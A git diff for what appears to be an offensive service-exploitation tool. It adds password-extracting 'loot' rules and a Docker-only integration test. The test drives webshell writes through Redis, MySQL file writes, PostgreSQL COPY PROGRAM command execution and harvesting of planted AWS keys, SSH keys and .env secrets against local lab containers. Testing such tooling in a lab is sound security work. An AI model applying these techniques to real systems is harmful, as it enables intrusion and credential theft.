{ + t.Fatal("Loot should be populated even when matchers don't match") + } + if !strings.Contains(string(result.Loot["nomatch-loot"]), "testuser") { + t.Error("Loot should contain raw response regardless of match result") + } +} + +func lootKeys(loot map[string][]byte) []string { + var keys []string + for k := range loot { + keys = append(keys, k) + } + return keys +} + +// --- PostAction from Data --- + +func TestNewPostActionFromData(t *testing.T) { + yamlData := []byte(`- id: test-loot-rule + info: + name: Test Password + severity: high + file: + - extensions: [all] + matchers: + - type: word + words: ["password"] + extractors: + - type: regex + regex: ['(?i)password\s*[=:]\s*(\S+)'] + group: 1 +`) + pa, err := NewPostActionFromData(yamlData) + if err != nil { + t.Fatalf("NewPostActionFromData: %v", err) + } + results := pa.ScanData([]byte("password = secret123\n"), "test") + if len(results) == 0 { + t.Fatal("should detect password in scanned data") + } + found := false + for _, e := range results { + for _, v := range e.ExtractResult { + if v == "secret123" { + found = true + } + } + } + if !found { + t.Error("should extract 'secret123' from loot data") + } +} + +func TestNewPostActionFromData_Empty(t *testing.T) { + _, err := NewPostActionFromData(nil) + if err == nil { + t.Error("expected error for nil data") + } + _, err = NewPostActionFromData([]byte{}) + if err == nil { + t.Error("expected error for empty data") + } +} + // --- Worker Integration Test --- func TestPostAction_ScanLoot(t *testing.T) { diff --git a/action/post.go b/action/post.go index 866e4b9..2e23242 100644 --- a/action/post.go +++ b/action/post.go @@ -20,19 +20,48 @@ type PostAction struct { func NewPostAction(templatePaths []string) (*PostAction, error) { execOpts := &protocols.ExecuterOptions{Options: &protocols.Options{}} - var rules []file.Rule + var tmpls []*template.Template for _, p := range templatePaths { - tmpls, err := loadTemplatesFromPath(p, execOpts) + loaded, err := loadTemplatesFromPath(p, execOpts) if err != nil { return nil, fmt.Errorf("load templates from %s: %w", p, err) } - for _, tmpl := range tmpls { - if len(tmpl.RequestsFile) > 0 { - rules = append(rules, file.Rule{ - ID: tmpl.Id, Name: tmpl.Info.Name, - Severity: tmpl.Info.Severity, Requests: tmpl.RequestsFile, - }) - } + tmpls = append(tmpls, loaded...) + } + return newPostActionFromTemplates(tmpls, execOpts) +} + +func NewPostActionFromData(data []byte) (*PostAction, error) { + if len(data) == 0 { + return nil, fmt.Errorf("empty loot template data") + } + execOpts := &protocols.ExecuterOptions{Options: &protocols.Options{}} + var list []template.Template + if err := yaml.Unmarshal(data, &list); err != nil { + return nil, fmt.Errorf("unmarshal loot templates: %w", err) + } + var compiled []*template.Template + for i := range list { + tmpl := &list[i] + if len(tmpl.RequestsFile) == 0 { + continue + } + if err := tmpl.Compile(execOpts); err != nil { + continue + } + compiled = append(compiled, tmpl) + } + return newPostActionFromTemplates(compiled, execOpts) +} + +func newPostActionFromTemplates(tmpls []*template.Template, execOpts *protocols.ExecuterOptions) (*PostAction, error) { + var rules []file.Rule + for _, tmpl := range tmpls { + if len(tmpl.RequestsFile) > 0 { + rules = append(rules, file.Rule{ + ID: tmpl.Id, Name: tmpl.Info.Name, + Severity: tmpl.Info.Severity, Requests: tmpl.RequestsFile, + }) } } if len(rules) == 0 { @@ -53,8 +82,7 @@ func (a *PostAction) ScanData(data []byte, label string) []*parsers.Extracted { } var results []*parsers.Extracted for _, group := range a.scanner.Groups { - findings := a.scanner.ScanData(data, label, group) - for _, f := range findings { + for _, f := range a.scanner.ScanData(data, label, group) { var extracts []string for _, e := range f.Extracts { extracts = append(extracts, e.Value) diff --git a/action/service.go b/action/service.go index d5c19c4..407d9cc 100644 --- a/action/service.go +++ b/action/service.go @@ -103,6 +103,13 @@ func (a *ServiceAction) Run(session pkg.Session, task *pkg.Task) (*pkg.ActionRes } } + if opResult.Response != "" { + if result.Loot == nil { + result.Loot = make(map[string][]byte) + } + result.Loot[id] = []byte(opResult.Response) + } + chainVars := copyVars(mergedVars) for k, v := range opResult.DynamicValues { if len(v) > 0 { diff --git a/core/e2e_test.go b/core/e2e_test.go index 3166669..34bd08a 100644 --- a/core/e2e_test.go +++ b/core/e2e_test.go @@ -357,6 +357,55 @@ func TestE2E_WorkerExecute_MultipleServices_ClosedPort(t *testing.T) { } } +// === Gather / Loot Pipeline === + +func TestE2E_RunnerAPI_GatherPipeline(t *testing.T) { + if len(pkg.ServiceTemplateData) == 0 { + t.Skip("embedded service templates not available (run go generate)") + } + opt := NewDefaultRunnerOption() + opt.Gather = true + + runner := NewRunner(opt) + if err := runner.BuildPipeline(); err != nil { + t.Fatalf("build failed: %v", err) + } + if len(runner.Pipeline) == 0 { + t.Fatal("--gather should create a ServiceAction in the pipeline") + } + if runner.Pipeline[0].Name() != "service" { + t.Errorf("pipeline[0].Name() = %q, want service", runner.Pipeline[0].Name()) + } + if runner.PostAction == nil { + t.Fatal("--gather should auto-create PostAction from embedded loot rules") + } +} + +func TestE2E_RunnerAPI_ProtonOverridesGatherLoot(t *testing.T) { + tmplDir := createE2ETemplate(t) + opt := NewDefaultRunnerOption() + opt.Proton = true + opt.ScanTemplates = []string{tmplDir} + opt.Gather = true + + runner := NewRunner(opt) + if err := runner.BuildPipeline(); err != nil { + t.Fatalf("build failed: %v", err) + } + if runner.PostAction == nil { + t.Fatal("PostAction should be set") + } +} + +func TestE2E_EmbeddedDataLoaded(t *testing.T) { + if len(pkg.ServiceTemplateData) == 0 { + t.Skip("embedded templates not available (run go generate)") + } + if len(pkg.LootTemplateData) == 0 { + t.Error("LootTemplateData should be loaded when ServiceTemplateData is present") + } +} + // === Helpers === func findFreePort(t *testing.T) int { diff --git a/core/runner.go b/core/runner.go index 969daa1..3281ad3 100644 --- a/core/runner.go +++ b/core/runner.go @@ -148,6 +148,18 @@ func (r *Runner) BuildPipeline() error { } r.Pipeline = append(r.Pipeline, serviceAction) } + + if r.Gather && r.PostAction == nil { + if data := pkg.LootTemplateData; len(data) > 0 { + pa, err := action.NewPostActionFromData(data) + if err != nil { + logs.Log.Debugf("loot scanner disabled: %v", err) + } else { + r.PostAction = pa + } + } + } + return nil } diff --git a/integration/service_template_docker_test.go b/integration/service_template_docker_test.go new file mode 100644 index 0000000..1e9048f --- /dev/null +++ b/integration/service_template_docker_test.go @@ -0,0 +1,393 @@ +//go:build docker + +package integration + +import ( + "context" + "encoding/json" + "errors" + "fmt" + "net" + "os" + "os/exec" + "path/filepath" + "runtime" + "strings" + "testing" + "time" +) + +const ( + commandTimeout = 5 * time.Minute + probeTimeout = 30 * time.Second + cleanupTimeout = 90 * time.Second +) + +type zombieResult struct { + Extracteds []extracted `json:"extracteds"` +} + +type extracted struct { + Name string `json:"name"` + ExtractResult []string `json:"extract_result"` +} + +type dockerEnv struct { + repoRoot string + fixture string + compose string + templates string + templatesExt string + outDir string +} + +func TestServiceTemplateDocker(t *testing.T) { + if _, err := exec.LookPath("docker"); err != nil { + t.Skipf("docker not found: %v", err) + } + if out, err := runCmdWithTimeout("", probeTimeout, "docker", "version"); err != nil { + t.Skipf("docker is not available: %v\n%s", err, out) + } + + env := newDockerEnv(t) + t.Cleanup(func() { + _ = os.RemoveAll(env.outDir) + _, _ = runCmdWithTimeout(env.repoRoot, cleanupTimeout, "docker", "compose", "-f", env.compose, "down", "-v") + }) + + t.Run("Smoke", func(t *testing.T) { + env.smoke(t) + }) + t.Run("Payload", func(t *testing.T) { + env.payload(t) + }) + t.Run("PostExploit", func(t *testing.T) { + env.postExploit(t) + }) + t.Run("Existing", func(t *testing.T) { + if _, err := os.Stat(env.templatesExt); err != nil { + t.Skipf("external proton templates not found: %v", err) + } + env.existing(t) + }) + t.Run("Exploit", func(t *testing.T) { + env.exploit(t) + }) +} + +func newDockerEnv(t *testing.T) *dockerEnv { + t.Helper() + _, file, _, ok := runtime.Caller(0) + if !ok { + t.Fatal("resolve caller") + } + repoRoot := filepath.Clean(filepath.Join(filepath.Dir(file), "..")) + fixture := filepath.Join(repoRoot, "testdata", "service-template") + templatesExt := os.Getenv("ZOMBIE_SERVICE_TEMPLATES_DIR") + if templatesExt == "" { + templatesExt = filepath.Join(repoRoot, "..", "proton", "templates", "services") + } + outDir := filepath.Join(fixture, "out") + if err := os.RemoveAll(outDir); err != nil { + t.Fatalf("clean output dir: %v", err) + } + if err := os.MkdirAll(outDir, 0755); err != nil { + t.Fatalf("create output dir: %v", err) + } + return &dockerEnv{ + repoRoot: repoRoot, + fixture: fixture, + compose: filepath.Join(fixture, "compose.yaml"), + templates: filepath.Join(fixture, "templates"), + templatesExt: filepath.Clean(templatesExt), + outDir: outDir, + } +} + +func (e *dockerEnv) smoke(t *testing.T) { + e.composeUp(t, "redis", "postgres", "mysql", "ssh") + waitTCP(t, "127.0.0.1:16379") + waitTCP(t, "127.0.0.1:15432") + waitTCP(t, "127.0.0.1:13306") + waitTCP(t, "127.0.0.1:10022") + e.initRedis(t) + + out := e.out(t, "smoke") + tmpl := filepath.Join(e.templates, "smoke") + assertExtraction(t, e.runZombie(t, out, "redis", "redis://:zombie_redis_pass@127.0.0.1:16379", tmpl), "local-redis-smoke:redis_value", "zombie-template-ok") + assertExtraction(t, e.runZombie(t, out, "postgres", "postgresql://zombie:zombie_pg_pass@127.0.0.1:15432", tmpl), "local-postgres-smoke:postgres_marker", "zombie-postgres-ok") + assertExtraction(t, e.runZombie(t, out, "mysql", "mysql://zombie:zombie_mysql_pass@127.0.0.1:13306", tmpl), "local-mysql-smoke:mysql_marker", "zombie-mysql-ok") + assertExtraction(t, e.runZombie(t, out, "ssh", "ssh://zombie:zombie_ssh_pass@127.0.0.1:10022", tmpl), "local-ssh-smoke:ssh_marker", "zombie-ssh-ok") +} + +func (e *dockerEnv) payload(t *testing.T) { + e.composeUp(t, "redis") + e.container(t, "redis", "REDISCLI_AUTH=zombie_redis_pass redis-cli DEL zombie:payload:cli-a zombie:payload:cli-b >/dev/null") + + result := e.runZombie( + t, + e.out(t, "payload"), + "redis-payload-cli", + "redis://:zombie_redis_pass@127.0.0.1:16379", + filepath.Join(e.templates, "payload", "redis-payload-cli.yaml"), + "--payload", "payload_key=zombie:payload:cli-a", + "--payload", "payload_key=zombie:payload:cli-b", + ) + assertExtractionCount(t, result, "local-redis-payload-cli:redis_payload_value", "payload-cli-ok", 2) + e.container(t, "redis", ` +REDISCLI_AUTH=zombie_redis_pass redis-cli GET zombie:payload:cli-a | grep -Fx payload-cli-ok && +REDISCLI_AUTH=zombie_redis_pass redis-cli GET zombie:payload:cli-b | grep -Fx payload-cli-ok +`) +} + +func (e *dockerEnv) postExploit(t *testing.T) { + e.composeUp(t, "redis", "postgres", "mysql", "ssh") + e.initRedis(t) + e.container(t, "redis", "rm -f /tmp/zombie_redis_post_exploit.rdb") + e.container(t, "mysql", "rm -f /tmp/zombie_mysql_post_exploit.txt") + e.container(t, "postgres", `rm -f /tmp/zombie_pg_post_exploit.txt +psql -U zombie -d postgres -c "DROP TABLE IF EXISTS zombie_post_exploit;"`) + e.container(t, "ssh", ` +mkdir -p /home/zombie/app /home/zombie/.aws /home/zombie/.kube /home/zombie/.ssh +echo 'APP_SECRET=zombie-env-secret' > /home/zombie/app/.env +printf '[default]\naws_access_key_id = AKIAZOMBIETEST\naws_secret_access_key = zombie\n' > /home/zombie/.aws/credentials +printf 'apiVersion: v1\nclusters:\n- cluster:\n server: https://kube.local\n' > /home/zombie/.kube/config +printf '%s\n' '-----BEGIN OPENSSH PRIVATE KEY-----' 'zombie-test-key' '-----END OPENSSH PRIVATE KEY-----' > /home/zombie/.ssh/id_rsa +rm -f /tmp/zombie_ssh_post_exploit.txt +chown -R zombie:zombie /home/zombie +`) + + out := e.out(t, "post-exploit") + dir := filepath.Join(e.templates, "post-exploit") + result := e.runZombie(t, out, "redis-post-exploit", "redis://:zombie_redis_pass@127.0.0.1:16379", filepath.Join(dir, "redis-post-exploit-local.yaml")) + assertExtraction(t, result, "local-redis-post-exploit:redis_sensitive_value", "zombie-secret-pass") + assertExtraction(t, result, "local-redis-post-exploit:redis_file_write_result", "OK") + e.container(t, "redis", "test -f /tmp/zombie_redis_post_exploit.rdb && grep -aF zombie-redis-post-exploit /tmp/zombie_redis_post_exploit.rdb") + + result = e.runZombie(t, out, "mysql-post-exploit", "mysql://root:zombie_mysql_root@127.0.0.1:13306", filepath.Join(dir, "mysql-post-exploit-local.yaml")) + assertExtraction(t, result, "local-mysql-post-exploit:mysql_app_credential", "demo:token") + assertExtraction(t, result, "local-mysql-post-exploit:mysql_passwd_root", "root:") + assertExtraction(t, result, "local-mysql-post-exploit:mysql_outfile_content", "zombie-mysql-post-exploit") + e.container(t, "mysql", "test -f /tmp/zombie_mysql_post_exploit.txt && grep -F zombie-mysql-post-exploit /tmp/zombie_mysql_post_exploit.txt") + + result = e.runZombie(t, out, "postgres-post-exploit", "postgresql://zombie:zombie_pg_pass@127.0.0.1:15432", filepath.Join(dir, "postgres-post-exploit-local.yaml")) + assertExtraction(t, result, "local-postgres-post-exploit:pg_passwd_root", "root:") + assertExtraction(t, result, "local-postgres-post-exploit:pg_program_output", "zombie-pg-post-exploit") + e.container(t, "postgres", "test -f /tmp/zombie_pg_post_exploit.txt && grep -F zombie-pg-post-exploit /tmp/zombie_pg_post_exploit.txt") + + result = e.runZombie(t, out, "ssh-post-exploit", "ssh://zombie:zombie_ssh_pass@127.0.0.1:10022", filepath.Join(dir, "ssh-post-exploit-local.yaml")) + assertExtraction(t, result, "local-ssh-post-exploit:ssh_username", "zombie") + assertExtraction(t, result, "local-ssh-post-exploit:ssh_file_write", "zombie-ssh-post-exploit") + assertExtraction(t, result, "local-ssh-post-exploit:ssh_env_secret", "zombie-env-secret") + assertExtraction(t, result, "local-ssh-post-exploit:ssh_aws_credentials_path", ".aws/credentials") + e.container(t, "ssh", "test -f /tmp/zombie_ssh_post_exploit.txt && grep -F zombie-ssh-post-exploit /tmp/zombie_ssh_post_exploit.txt") +} + +func (e *dockerEnv) existing(t *testing.T) { + e.composeUp(t, "redis", "postgres", "mysql", "ssh") + e.initExistingData(t) + + out := e.out(t, "existing") + cases := []struct { + name string + target string + template string + expectName string + contains string + }{ + {"redis-info-gather", "redis://:zombie_redis_pass@127.0.0.1:16379", "redis/redis-info-gather.yaml", "redis-info-gather:redis_version", ""}, + {"redis-config-check", "redis://:zombie_redis_pass@127.0.0.1:16379", "redis/redis-config-check.yaml", "redis-config-check:redis_dir", "/var/www"}, + {"redis-sensitive-keys", "redis://:zombie_redis_pass@127.0.0.1:16379", "redis/redis-sensitive-keys.yaml", "redis-sensitive-keys:sensitive_keys", "app:password"}, + {"redis-mdut-rogue-prereq-check", "redis://:zombie_redis_pass@127.0.0.1:16379", "redis/redis-mdut-rogue-prereq-check.yaml", "redis-mdut-rogue-prereq-check:redis_replica_read_only", "yes"}, + {"postgresql-info-gather", "postgresql://zombie:zombie_pg_pass@127.0.0.1:15432", "postgresql/postgresql-info-gather.yaml", "postgresql-info-gather:pg_version", ""}, + {"postgresql-mdut-capability-check", "postgresql://zombie:zombie_pg_pass@127.0.0.1:15432", "postgresql/postgresql-mdut-capability-check.yaml", "postgresql-mdut-capability-check:pg_copy_program", "yes"}, + {"mysql-info-gather", "mysql://zombie:zombie_mysql_pass@127.0.0.1:13306", "mysql/mysql-info-gather.yaml", "mysql-info-gather:mysql_version", ""}, + {"mysql-credential-columns", "mysql://zombie:zombie_mysql_pass@127.0.0.1:13306", "mysql/mysql-credential-columns.yaml", "mysql-credential-columns:found_columns", "app_credentials"}, + {"mysql-user-enum", "mysql://root:zombie_mysql_root@127.0.0.1:13306", "mysql/mysql-user-enum.yaml", "mysql-user-enum:mysql_users", "root"}, + {"mysql-udf-check", "mysql://root:zombie_mysql_root@127.0.0.1:13306", "mysql/mysql-udf-check.yaml", "mysql-udf-check:mysql_plugin_dir", ""}, + {"mysql-mdut-capability-check", "mysql://root:zombie_mysql_root@127.0.0.1:13306", "mysql/mysql-mdut-capability-check.yaml", "mysql-mdut-capability-check:mysql_file_privilege", "yes"}, + {"ssh-info-gather", "ssh://zombie:zombie_ssh_pass@127.0.0.1:10022", "ssh/ssh-info-gather.yaml", "ssh-info-gather-linux:username", ""}, + {"ssh-env-files", "ssh://zombie:zombie_ssh_pass@127.0.0.1:10022", "ssh/ssh-env-files.yaml", "ssh-env-files:env_files", "/home/zombie/app/.env"}, + {"ssh-credential-files", "ssh://zombie:zombie_ssh_pass@127.0.0.1:10022", "ssh/ssh-credential-files.yaml", "ssh-credential-files-linux:aws_key", "AKIAZOMBIETEST"}, + {"ssh-docker-escape", "ssh://zombie:zombie_ssh_pass@127.0.0.1:10022", "ssh/ssh-docker-escape.yaml", "ssh-docker-escape:cap_flags", ""}, + } + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + result := e.runZombie(t, out, tc.name, tc.target, filepath.Join(e.templatesExt, filepath.FromSlash(tc.template))) + assertExtraction(t, result, tc.expectName, tc.contains) + }) + } +} + +func (e *dockerEnv) exploit(t *testing.T) { + e.composeUp(t, "redis", "postgres", "mysql") + e.container(t, "redis", `mkdir -p /var/www/html && +chmod 777 /var/www/html && +rm -f /var/www/html/shell.php`) + e.container(t, "mysql", "rm -f /tmp/zombie_mysql_outfile.txt") + e.container(t, "postgres", `rm -f /tmp/zombie_pg_cmd.txt +psql -U zombie -d postgres -c "DROP TABLE IF EXISTS zombie_cmd_exec;"`) + + out := e.out(t, "exploit") + dir := filepath.Join(e.templates, "exploit") + result := e.runZombie(t, out, "redis-write-webshell-local", "redis://:zombie_redis_pass@127.0.0.1:16379", filepath.Join(dir, "redis-write-webshell-local.yaml")) + assertExtraction(t, result, "local-redis-write-webshell:redis_webshell_written", "OK") + e.container(t, "redis", "test -f /var/www/html/shell.php && grep -aF '' /var/www/html/shell.php") + + result = e.runZombie(t, out, "mysql-outfile-local", "mysql://root:zombie_mysql_root@127.0.0.1:13306", filepath.Join(dir, "mysql-outfile-local.yaml")) + assertExtraction(t, result, "local-mysql-outfile-write:mysql_outfile_content", "zombie-mysql-outfile-ok") + e.container(t, "mysql", "test -f /tmp/zombie_mysql_outfile.txt && grep -F zombie-mysql-outfile-ok /tmp/zombie_mysql_outfile.txt") + + result = e.runZombie(t, out, "postgres-copy-program-local", "postgresql://zombie:zombie_pg_pass@127.0.0.1:15432", filepath.Join(dir, "postgres-copy-program-local.yaml")) + assertExtraction(t, result, "local-postgres-copy-program:pg_program_output", "uid=") + e.container(t, "postgres", "test -f /tmp/zombie_pg_cmd.txt && grep -F uid= /tmp/zombie_pg_cmd.txt") +} + +func (e *dockerEnv) composeUp(t *testing.T, services ...string) { + t.Helper() + args := []string{"compose", "-f", e.compose, "up", "-d", "--wait", "--wait-timeout", "180", "--build"} + args = append(args, services...) + run(t, e.repoRoot, "docker", args...) +} + +func (e *dockerEnv) container(t *testing.T, service, command string) { + t.Helper() + run(t, e.repoRoot, "docker", "compose", "-f", e.compose, "exec", "-T", service, "sh", "-lc", command) +} + +func (e *dockerEnv) initRedis(t *testing.T) { + t.Helper() + run(t, e.repoRoot, "docker", "compose", "-f", e.compose, "run", "--rm", "redis-init") +} + +func (e *dockerEnv) initExistingData(t *testing.T) { + t.Helper() + e.initRedis(t) + run(t, e.repoRoot, "docker", "compose", "-f", e.compose, "exec", "-T", "mysql", "mysql", "-uroot", "-pzombie_mysql_root", "zombie", "-e", ` +CREATE TABLE IF NOT EXISTS app_credentials ( + id INT PRIMARY KEY, + username VARCHAR(64) NOT NULL, + password_hash VARCHAR(128) NOT NULL, + api_token VARCHAR(128) NOT NULL +); +INSERT IGNORE INTO app_credentials (id, username, password_hash, api_token) +VALUES (1, 'demo', 'hash', 'token'); +`) + e.container(t, "ssh", ` +mkdir -p /opt /srv /var/www /home/zombie/app /home/zombie/.aws /home/zombie/.kube /home/zombie/.ssh +echo 'APP_SECRET=zombie-env-secret' > /home/zombie/app/.env +printf '[default]\naws_access_key_id = AKIAZOMBIETEST\naws_secret_access_key = zombie\n' > /home/zombie/.aws/credentials +printf 'apiVersion: v1\nclusters:\n- cluster:\n server: https://kube.local\n' > /home/zombie/.kube/config +printf '%s\n' '-----BEGIN OPENSSH PRIVATE KEY-----' 'zombie-test-key' '-----END OPENSSH PRIVATE KEY-----' > /home/zombie/.ssh/id_rsa +chown -R zombie:zombie /home/zombie +`) +} + +func (e *dockerEnv) runZombie(t *testing.T, outDir, name, target, template string, extraArgs ...string) zombieResult { + t.Helper() + outFile := filepath.Join(outDir, name+".json") + args := []string{ + "run", ".", + "-i", target, + "--no-honeypot", + "--no-unauth", + "--service-template", template, + "--timeout", "10", + } + args = append(args, extraArgs...) + args = append(args, "-f", outFile, "-O", "json", "-o", "full") + run(t, e.repoRoot, "go", args...) + + raw, err := os.ReadFile(outFile) + if err != nil { + t.Fatalf("%s output file: %v", name, err) + } + var result zombieResult + if err := json.Unmarshal(raw, &result); err != nil { + t.Fatalf("%s output json: %v\n%s", name, err, raw) + } + return result +} + +func (e *dockerEnv) out(t *testing.T, name string) string { + t.Helper() + dir := filepath.Join(e.outDir, name) + if err := os.MkdirAll(dir, 0755); err != nil { + t.Fatalf("create output dir %s: %v", name, err) + } + return dir +} + +func assertExtraction(t *testing.T, result zombieResult, name, contains string) { + t.Helper() + assertExtractionCount(t, result, name, contains, 1) +} + +func assertExtractionCount(t *testing.T, result zombieResult, name, contains string, minCount int) { + t.Helper() + count := 0 + for _, item := range result.Extracteds { + if item.Name != name { + continue + } + if contains == "" && len(item.ExtractResult) > 0 { + count += len(item.ExtractResult) + continue + } + for _, value := range item.ExtractResult { + if strings.Contains(value, contains) { + count++ + } + } + } + if count < minCount { + b, _ := json.MarshalIndent(result, "", " ") + t.Fatalf("expected extraction %s containing %q at least %d time(s), got %d\n%s", name, contains, minCount, count, b) + } +} + +func waitTCP(t *testing.T, address string) { + t.Helper() + deadline := time.Now().Add(120 * time.Second) + for time.Now().Before(deadline) { + conn, err := net.DialTimeout("tcp", address, time.Second) + if err == nil { + _ = conn.Close() + return + } + time.Sleep(time.Second) + } + t.Fatalf("%s did not open in time", address) +} + +func run(t *testing.T, dir, name string, args ...string) string { + t.Helper() + out, err := runCmd(dir, name, args...) + if err != nil { + t.Fatalf("%s %s failed: %v\n%s", name, strings.Join(args, " "), err, out) + } + return out +} + +func runCmd(dir, name string, args ...string) (string, error) { + return runCmdWithTimeout(dir, commandTimeout, name, args...) +} + +func runCmdWithTimeout(dir string, timeout time.Duration, name string, args ...string) (string, error) { + ctx, cancel := context.WithTimeout(context.Background(), timeout) + defer cancel() + + cmd := exec.CommandContext(ctx, name, args...) + cmd.Dir = dir + out, err := cmd.CombinedOutput() + if ctx.Err() == context.DeadlineExceeded { + return string(out), fmt.Errorf("%s %s timed out after %s", name, strings.Join(args, " "), timeout) + } + if err != nil { + return string(out), fmt.Errorf("%w", err) + } + if len(out) > 0 && strings.Contains(string(out), "error during connect") { + return string(out), errors.New("docker connection failed") + } + return string(out), nil +} diff --git a/pkg/data/port.bin b/pkg/data/port.bin index d44c513559bbeb60f8ad437beb8b0b828a460f86..5fb2633f4f9a3ef6562e81929e1f0be0fa8a529f 100644 GIT binary patch literal 1794 zcmV+d2mSb*SwW8Tx((j{rwGzTUKavL$&#qIEP4^g_DnpJ*#2#2GSgKr&7n>})z=MvTdkV9?Yp19tyZg* zSZxS4=f6p!HvaL)i#~mv#_syQ;b1ZVvlAGBaNvQZNRng%NARmk01y%YM_CQB^701x zwvxG^CKx?T(`=eHfajNHcxeFCDBD4{UUq}*ygVFU5ICG<7-Tseh)8<1nVH_W;AU?u z*^O5e(>sCJ+s4j>85$U1f`8-SUE8FmvumyW_KYze&|0<$OXLBabAApP|AvUTU}taq z981n`Pa8JOSU=2x1K|+Bugf<<)-Z(`&2;3D3lrd)tWj&fql9e_4WGlbN5l?Gz|RNV zF3691{*N%w0Ra#=p#=g-MsaRo1ZK!J4*Xg(31$)zm)!JjgYU{4ey4q{HGq8|5jg6{ z->g0y>WX`<3cPkkQ^WVosl9gNN~0O2aNw9nDPaN8dz2E+%Y=gm;Uv#&Lm*KQsIxkW z2KS>Weh}cy{RX87@*E-@#v^%fM@-ua(epzY=8-dFTTT|Td>C^ea(s?t7ANjNln?gEB=1pM=uvJ6Kg7CyY~D)Q5|?jrNFX39;H#0!cWQAgn0 zteDW7y6Yd?qWiuNme7fkms9iY+`m4AZF}rJQAxA7fLtgRmQ$JgKfCW1m{Vcsr(=pu7i0x@uNY2|ERX3x9&7&`$< zwJ@_S@`$e)W!-J27(8S$N|b=bAxpDej1>~`>LL@`0^Rb%PyhYpmmh!q`>#XmOJ$a@ zC&qSJ+Wz#Pzy0}tzyD*1A_3GbDBW9>JVVCm0}n#Xf?iK`^;k!EEG?iF!>_x?CF8V4 z!?%WJWY;K3z$LDwU6)pQn}%5eB$8#Ru*BFl-EPbN@IBm`HdgX1@zcn9hOCM@c?t`T z#QHd3&Bt|h%@K>PE7K~(7<0yJSHn}4mzR?e90|m!+`w~6ILb+qBtyw#{SC;|19ZT0 z%USA8{1zrdhNqOk!xc+{uU>D<;q@s$H8EbZv^&x2>$s<4+cmqQjl?Tr$%`a#pI0{< zhn&p_5YIp&hC9558{irxaIA>Jp@>51^`P0h1`V38YoggT;x#X}$H$02g)TIUw-fX0 zym;zF97PkmeVvqUiOG-qwCf(qZWpFepZGvqXU|28m(rdeOU z6p@8z#oe9Oc}^dmV}Z`eC0%4?m(`I3mdv6C_w{2L1Rsr3XiOI7?IIq^%X_W$;<`nj z<>9q6W&ooQwt6l#Ha;Cn3ZD>leOX5${Or2Xz&W5H zMpARh+8$_3Xwh5HpD9)VNzMI4YM4p-u7z%24!<5n&`>N<8A$jvrW*Ge zNBXqlelFT=(MIY2_5F3#p@~!{cpYh8-ZW+Pc*TsD)6Y{L`f$Zr6GGyR=eTHo^t*`5 zqL9jWAvPCB9MekSK=Pt7;CWd+)Dh(!Vn<;YKkLmUtWz$v3~rM{TJBkhi1dJwUE0nq z1C)md?T}~ePAvlbuCAYpqKO14iNuV>KRhT38ORiOje>3WR%IcXty;i}#Fo(Y>i!tH z=9QMWS+|Nbg(M{IrU?Dfi4$?I1M9SQ-;ZUO{V9}-$$pci)!QjrziFf52b@-n6c;So zN}f+3fRuOG^d(|Z&HM7&u|io>=y6LHj-=peUe~cZkTBW4T}=TPyJ59N_thFyspoJoV=KhLQ_T;CIN^W%0KsV~m$ z)^~IXL?DJ=x#k>O&ilBAe*E(v|Nhrse*EbVUAGr6P1qiC&VScjCyDak>WIQmZ$VNt kWmT~*whj~js{p4i5^zZKZ$?@zG=aR%!_R~N2LJ&7|I^TgBLDyZ literal 1810 zcmV+t2krQzS;21e$PKP}N%fI(xm?I6zA^CAgDoK*>ze^T%wkv;J^vxc>|8B9^H*Mej zIQ&~IlEsQ(b@`vBcEui?9`)Jd`2MEv_kyQUc!rTDK@x!pFiD!GqYwlp-vB^j0PwtE zhXulj8qPVUs`s9;4S}l@h#1=#Bil!w zJtHDP1^JBa3ly2E&hs~YU~fihT`xS0$~Un1V9idND#ID0~6akHms z$|x(`>{KyrUXD`sP1irRW%tuo5#>^AKJPEq9|8JKt=mJ-IPW^0DW=vYnA$OKzP(xZ z+uhxwUR6=nf={dk8qH%xunnZY`+!ZG<=av_Av%_%(HVvWl%zqpU4F%KVcs0-eDnV1 zN3TU<^^QMNpF}WL`DUGUrCO^+q5P!2mw>Mywudjj{f)|t{PoS7;-OPF@*-yl>KP^S zZIwT7nuC5MH1_)Twk%ZGdK=>H-g<-C=r}!a%Uz!38$E~&;x%a_)2mTh?0)#~&p&_t z>)(H^g^IC$PR1qNyF6=u_|M<|{J-D-QR8I*?5(`I*NJ!=ifESG5GFj$OxVZvZO&pQz!C5U6Yh36{wypX18 zI`n>lUCyGK!3ex&mW>99Qh_{qQ7VH-i@egmcI(b%^{3*v*HOW{jMUjX`5()5x8Ibl zniq*zUWOpv)ab1u3M3%FWbvdqclSlpMVOl)^2QQ}#u5#)j^i45^yu%j&wjH{z7*y9 z@TkI41LB7?e?d-DluunU#mf;d5u!111_Y1Wtm_`CZlhI%^B8KI{JGRqgluRLB6mDO zEIeU24Q))CbCd#WWZ`5L){G4^S&10oxH-{#1m|ow! zQ4ueOCC<4y70Ny@v^(%zvYaSw!1mdir}d$~VwGLjSB-kb$h*&hh!_W2#M~&etY4Z} zU8a^}Z{+%vm5*hswkC#8m(Y97^*2g+CcQs2PQcALkfgg`;x`5VjZEvTSG!PS_>|yG z-6LUt*mjxb4)5Ll;hHyfchLGz61N3efP^gk5(DLp+O<$h2@!X13~>K}iXnw7W->Oo z#MnUJmN9i#G;N<%wF-`Jy8g1Kz1qk@yfd+v+pO!WyeqRd*Y3b5rccq{pzFut_f-1p zmGH5ui{_~KxypC@F~RbADw}Yu&;~xTaeM~BMry~ZZg*#*`BD|1&TyP+`?#_Ca$A?Z zdL69pc?q^e`a#t_t0y? z<=DsIHyrKb;HlrJi2xI0+1zLK>D;IKIf-CI$E{$csvjEFvOE27yjtM{)s%l9G0rHr z+b*lNJO!yke&jVqjI(U2of@zxI+tkY*!-?(p38EtCPah8T`E3BS<+&c8+AH(+wQf_ zH8cc!ou!(<6f8IWK`l+JGq(pqt&Zvpr19oU;(dUcOu+^CAiewPP-z9OMKjm??DMRC zJx+AJ&fCdDUu3IY7ti%ZR6_`0%)Q=!QGM^kCmI*|_`#6|;F)018j-AM8vWYlq5byZ zP8-LbNdt2Rec2r|)fV<=gygP-ki0NvqGK! z1M&Z1bRT@&eAs-{e9(N%IAl(fK3FqWjP+u*SSwbFbz+r>B_)pQ zHCKfqJxE*1in4M4NduCA6d(a8|13VjLcid%%qb{)s$kNUImVbH@}apv37sv1tjxa5 zVeB+%)EYx+s>U?u+Vs}Xg3zVyTGg40O>%7yWk4c8&LJnRM$-V$Gu>x;uw<})>9#pd*G)eg-p3n-}w`Adxi=4I*9_?E$PH%Wr 